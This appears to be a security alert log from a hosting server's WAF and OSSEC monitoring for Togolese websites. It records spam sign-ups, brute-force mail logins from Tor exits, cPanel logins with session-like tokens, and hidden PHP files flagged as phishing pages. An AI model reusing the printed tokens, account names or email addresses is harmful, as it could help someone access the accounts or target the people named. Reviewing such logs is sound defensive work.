name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Access Your Useful Games Bonus bonotdamvam.blogspot.se OZ||Email:burlesonmike@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:13-28.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 52.213.211.241
country_id: 2963597
domain: macite.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 51.83.4.60
country_id: 3017382
description:
[2026-06-08 13:29:39 +0000] info [cpaneld] 51.83.4.60 NEW he24djure:DRtmG9ChrvMLxvqc address=51.83.4.60,app=cpaneld,creator=he24djure,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.174.175.27
country_id: 3996063
description:
45.174.175.27 - - [08/Jun/2026:13:30:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7247047&pdata=https%253A%252F%252Fcivilemagazine.tg%252Ftomber-amoureux-comment-les-hormones-decident-a-notre-place%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780925440 HTTP/2.0" 302 0 civilemagazine.tg "https://civilemagazine.tg/tomber-amoureux-comment-les-hormones-decident-a-notre-place/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.3799.1714 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.174.175.27


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.86
country_id: 3017382
description:
[2026-06-08 13:30:46 +0000] info [cpaneld] 5.231.64.86 NEW ifxmoxbf:IcH6eJNa25gspa34 address=5.231.64.86,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 110.249.201.54
country_id: 1814991
domain: 24heureinfo.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.228
country_id: 6252001
description:
[2026-06-08 13:31:19 +0000] info [cpaneld] 64.44.62.228 NEW cafeitadm:S8QbMxCxXU_7dfFa address=64.44.62.228,app=cpaneld,creator=cafeitadm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.195
country_id: 6252001
description:
[2026-06-08 13:31:19 +0000] info [cpaneld] 64.44.62.195 NEW cafeitadm:5qeZ2G2fFMNd_9qd address=64.44.62.195,app=cpaneld,creator=cafeitadm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.233
country_id: 3017382
description:
[2026-06-08 13:31:18 +0000] info [cpaneld] 5.231.255.233 NEW cafeitadm:VfN2TR25VlBenVA_ address=5.231.255.233,app=cpaneld,creator=cafeitadm,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.179
country_id: 2635167
domain: cafeit.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cafeitadm/public_html/.712782540092991.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.185
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.127551413245940.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.49
country_id: 2635167
description:
[2026-06-08 13:31:09 +0000] info [cpaneld] 5.230.153.49 NEW vuvwskxh:5xKRZ_q3SzVl2XV2 address=5.230.153.49,app=cpaneld,creator=vuvwskxh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-08 13:32:30 +0000] info [webmaild] 160.242.195.10 - ldaro@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 1.92.223.73
country_id: 1814991
description:
1.92.223.73 - - [08/Jun/2026:13:31:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132113&pdata=https%253A%252F%252Fwww.ucao-uut.tg%252Fcalendar-node-field-date%252Fyear%253Fmini%253D2019-11&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780925512 HTTP/2.0" 302 0 www.ucao-uut.tg "https://www.ucao-uut.tg/calendar-node-field-date/year?mini=2019-11" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:1.92.223.73


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 173.255.115.34
country_id: 6252001
domain: togosnb.snb.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/web/wp-json/wp/v2/users/||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 169.239.158.236
country_id: 203312
description:
2026-06-08 13:35:27 H=([169.239.158.236]) [169.239.158.236]:64261 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.3.217.154
country_id: 1814991
description:
2026-06-08 13:34:58 H=([0.0.0.0]) [113.3.217.154]:55365 F=<John@4452.com> rejected RCPT <sotrane@sotranetogo.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.138.16.178
country_id: 798544
description:
[2026-06-08 13:36:02 +0000] info [cpaneld] 45.138.16.178 - a.kesso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.kesso (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [08/Jun/2026:13:38:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973082&pdata=http%253A%252F%252Fdavetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780925901 HTTP/1.1" 404 561 davetechno.tg "http://davetechno.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [08/Jun/2026:13:38:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921124&pdata=http%253A%252F%252Fdavetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780925894 HTTP/1.1" 302 0 davetechno.tg "http://davetechno.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.93.84
country_id: 1512440
description:
2026-06-08 13:40:00 H=([213.230.93.84]) [213.230.93.84]:3109 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.229
country_id: 2635167
description:
[2026-06-08 13:41:50 +0000] info [cpaneld] 5.230.153.229 NEW ohuuvcqw:gVR4ymIEm_l99CCz address=5.230.153.229,app=cpaneld,creator=ohuuvcqw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 64.89.161.50
country_id: 6252001
description:
Jun  8 13:41:02 ns5 pure-ftpd[861472]: (?@64.89.161.50) [WARNING] Authentication failed for user [8573661731+8-]


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.168.106.151
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160306||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.130
country_id: 1880251
description:
47.128.96.130 - - [08/Jun/2026:13:45:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7115463&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fun-pretre-demissionne-par-amour%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780926345 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/un-pretre-demissionne-par-amour/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.130


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 119.158.152.33
country_id: 1168579
description:
2026-06-08 13:45:05 H=([119.158.152.33]) [119.158.152.33]:65186 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.198
country_id: 1880251
description:
47.128.96.198 - - [08/Jun/2026:13:45:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9750216&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fjournee-du-21-juin-feriee-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780926353 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/journee-du-21-juin-feriee-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.198


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 119.158.152.33
country_id: 1168579
description:
2026-06-08 13:47:14 H=([119.158.152.33]) [119.158.152.33]:50879 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.161
country_id: 1880251
description:
47.128.96.161 - - [08/Jun/2026:13:47:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9790869&pdata=https%253A%252F%252Ftdn.tg%252Faccident-tragique-assahoun%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780926424 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/accident-tragique-assahoun/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.161


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.208
country_id: 1880251
description:
47.128.96.208 - - [08/Jun/2026:13:46:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908519&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fjournee-du-21-juin-feriee-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780926416 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/journee-du-21-juin-feriee-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.208


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 149.54.32.62
country_id: 1149361
description:
2026-06-08 13:47:54 H=([149.54.32.62]) [149.54.32.62]:12033 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.142
country_id: 2921044
description:
2026-06-08 13:49:29 dovecot_plain authenticator failed for H=(DESKTOP-53E0LT9) [185.220.101.142]:38221: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.110
country_id: 2921044
description:
2026-06-08 13:49:55 dovecot_plain authenticator failed for H=tor-exit-110.digitalcourage.de (DESKTOP-53E0LT9) [185.220.101.110]:1735: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.245.128
country_id: 1643084
description:
104.28.245.128 - - [08/Jun/2026:13:50:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050904&pdata=https%253A%252F%252Fdankpen1.mairie.tg%252Fcommuniques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780926601 HTTP/2.0" 302 0 dankpen1.mairie.tg "https://dankpen1.mairie.tg/communiques/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.245.128


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.114
country_id: 2635167
description:
[2026-06-08 13:50:29 +0000] info [cpaneld] 5.230.153.114 NEW ohuuvcqw:NFC5kc0azTseXOGo address=5.230.153.114,app=cpaneld,creator=ohuuvcqw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.129.64.203
country_id: 6252001
description:
Jun  8 13:50:56 ns5 auth[851035]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.129.64.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.203
country_id: 6252001
description:
2026-06-08 13:50:58 dovecot_plain authenticator failed for H=(DESKTOP-53E0LT9) [23.129.64.203]:25309: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.100.240
country_id: 2921044
description:
Jun  8 13:51:41 ns5 auth[851035]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.100.240 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.100.240
country_id: 2921044
description:
2026-06-08 13:51:43 dovecot_plain authenticator failed for H=tor-exit-13.zbau.f3netze.de (DESKTOP-53E0LT9) [185.220.100.240]:42842: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.89.246.144
country_id: 6252001
description:
Jun  8 13:52:33 ns5 pure-ftpd[871174]: (?@47.89.246.144) [WARNING] Authentication failed for user [sodigaz]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 119.158.152.33
country_id: 1168579
description:
2026-06-08 13:52:15 H=([119.158.152.33]) [119.158.152.33]:55945 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 124.243.175.241
country_id: 1880251
description:
124.243.175.241 - - [08/Jun/2026:13:53:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789996&pdata=https%253A%252F%252Flaunetogo.tg%252Fle-togo-lance-la-mise-a-jour-de-son-plan-national-dadaptation-aux-changements-climatiques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780926803 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/le-togo-lance-la-mise-a-jour-de-son-plan-national-dadaptation-aux-changements-climatiques/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:124.243.175.241


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.42.116.62
country_id: 2750405
description:
Jun  8 13:53:30 ns5 auth[851035]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.42.116.62 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.111.27.61
country_id: 1605651
description:
[2026-06-08 13:53:31 +0000] info [cpaneld] 65.111.27.61 - kavznjyb "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kavznjyb (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.42.116.62
country_id: 2750405
description:
2026-06-08 13:53:32 dovecot_plain authenticator failed for H=(DESKTOP-53E0LT9) [192.42.116.62]:51728: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 223.84.193.208
country_id: 1814991
description:
2026-06-08 13:54:41 H=([223.84.193.208]) [223.84.193.208]:14892 F=<John@4452.com> rejected RCPT <ferdinand.ali@agou1.mairie.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.101.102
country_id: 2921044
description:
Jun  8 13:54:49 ns5 auth[851035]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.101.102 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.102
country_id: 2921044
description:
2026-06-08 13:54:51 dovecot_plain authenticator failed for H=tor-exit-102.digitalcourage.de (4bacd3i8yjmb24wb8) [185.220.101.102]:17173: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Secure Your Favored Bet Funds vamvozmviigr.blogspot.gr EG||Email:ennybabs2006@yahoo.co.uk||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:13-54.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.224.177.164
country_id: 130758
description:
2026-06-08 13:54:07 H=([185.224.177.164]) [185.224.177.164]:58419 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 151.247.184.41
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:151.247.184.41||TA:151.247.184.41||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 86.62.3.154
country_id: 1512440
description:
2026-06-08 13:55:41 H=([86.62.3.154]) [86.62.3.154]:56755 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.25.193.39
country_id: 2661886
description:
2026-06-08 13:56:51 dovecot_plain authenticator failed for H=tor-exit-read-me.dfri.se (DESKTOP-53E0LT9) [171.25.193.39]:57540: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.132
country_id: 2921044
description:
2026-06-08 13:56:21 dovecot_plain authenticator failed for H=(DESKTOP-53E0LT9) [185.220.101.132]:60571: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.25.193.39
country_id: 2661886
description:
Jun  8 13:56:49 ns5 auth[851035]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.25.193.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.224.177.164
country_id: 130758
description:
2026-06-08 13:55:54 H=([185.224.177.164]) [185.224.177.164]:61045 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.101.132
country_id: 2921044
description:
Jun  8 13:56:19 ns5 auth[851035]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.101.132 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.224.177.164
country_id: 130758
description:
2026-06-08 13:57:36 H=([185.224.177.164]) [185.224.177.164]:63465 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.25.193.39
country_id: 2661886
description:
Jun  8 13:56:58 ns5 auth[851035]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.25.193.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.25.193.39
country_id: 2661886
description:
2026-06-08 13:57:00 dovecot_login authenticator failed for H=tor-exit-read-me.dfri.se (DESKTOP-53E0LT9) [171.25.193.39]:57540: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.125.219.196
country_id: 130758
description:
2026-06-08 14:02:41 H=([5.125.219.196]) [5.125.219.196]:26186 F=<John@4452.com> rejected RCPT <contact@dany2.mairie.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.216.88.71
country_id: 3469034
description:
Jun  8 14:03:48 ns5 auth[851035]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.216.88.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.216.88.71
country_id: 3469034
description:
Jun  8 14:03:57 ns5 auth[851035]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.216.88.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  8 14:06:24 ns5 auth[851035]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 14:06:26 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:63288: 535 Incorrect authentication data (set_id=nginx)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 223.84.193.208
country_id: 1814991
description:
2026-06-08 14:08:37 H=([223.84.193.208]) [223.84.193.208]:36953 F=<John@4452.com> rejected RCPT <ferdinand.ali@agou1.mairie.tg>: Sender verify failed


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.169
country_id: 6252001
description:
[2026-06-08 14:09:25 +0000] info [cpaneld] 64.44.62.169 NEW lhqeyybr:gS01g3ablplylgOt address=64.44.62.169,app=cpaneld,creator=lhqeyybr,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.133
country_id: 2635167
description:
[2026-06-08 14:09:19 +0000] info [cpaneld] 5.230.133.133 NEW newistm:KfT_8s14qvjTiWci address=5.230.133.133,app=cpaneld,creator=newistm,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.108
country_id: 2635167
domain: clients.cloud-et-racks.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nxpivbcy/public_html/.339135965419387.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.234
country_id: 6252001
description:
[2026-06-08 14:09:41 +0000] info [cpaneld] 134.195.83.234 NEW glfmqhlj:LboQItLU3D0h2BZm address=134.195.83.234,app=cpaneld,creator=glfmqhlj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.216
country_id: 2635167
description:
[2026-06-08 14:09:28 +0000] info [cpaneld] 5.230.133.216 NEW oviaiart:E_7MtkwrF15h4ecI address=5.230.133.216,app=cpaneld,creator=oviaiart,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 216.189.152.178
country_id: 6252001
description:
[2026-06-08 14:09:29 +0000] info [cpaneld] 216.189.152.178 NEW wcnyaruu:ThXirAmAyl1Vti83 address=216.189.152.178,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.197
country_id: 2635167
domain: clients.cloud-et-racks.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nxpivbcy/public_html/.617532318862065.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.169
country_id: 2635167
description:
[2026-06-08 14:09:11 +0000] info [cpaneld] 5.230.153.169 NEW wwayrzpl:T7096ImCAZk4D_P2 address=5.230.153.169,app=cpaneld,creator=wwayrzpl,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.157
country_id: 6252001
description:
[2026-06-08 14:09:14 +0000] info [cpaneld] 64.44.59.157 NEW wgqhqbem:x22B9GZ89q0lIvYz address=64.44.59.157,app=cpaneld,creator=wgqhqbem,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.34
country_id: 2635167
domain: lvdt.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/lhqeyybr/public_html/.057479459697501.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.50
country_id: 3017382
description:
[2026-06-08 14:09:21 +0000] info [cpaneld] 5.231.255.50 NEW tqbcalqt:Q4QgSVdzMqIqiuuB address=5.231.255.50,app=cpaneld,creator=tqbcalqt,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.242
country_id: 2635167
description:
[2026-06-08 14:09:35 +0000] info [cpaneld] 5.230.153.242 NEW nxpivbcy:oKQWsbrH97Eht6fA address=5.230.153.242,app=cpaneld,creator=nxpivbcy,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.68
country_id: 3017382
description:
[2026-06-08 14:09:14 +0000] info [cpaneld] 5.231.64.68 NEW frtwilql:52wn7ew6e13pzAMK address=5.231.64.68,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.177
country_id: 6252001
description:
[2026-06-08 14:09:25 +0000] info [cpaneld] 107.175.5.177 NEW marketplacenetma:yclchI6PZpqsNj3l address=107.175.5.177,app=cpaneld,creator=marketplacenetma,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.149
country_id: 1269750
description:
Jun  8 14:10:05 ns5 auth[851035]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.149
country_id: 1269750
description:
2026-06-08 14:10:07 dovecot_login authenticator failed for H=(nsg-corporate-149.229.187.122.airtel.in) [122.187.229.149]:37861: 535 Incorrect authentication data (set_id=contact@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 14:17:39 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:63125: 535 Incorrect authentication data (set_id=mssql)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
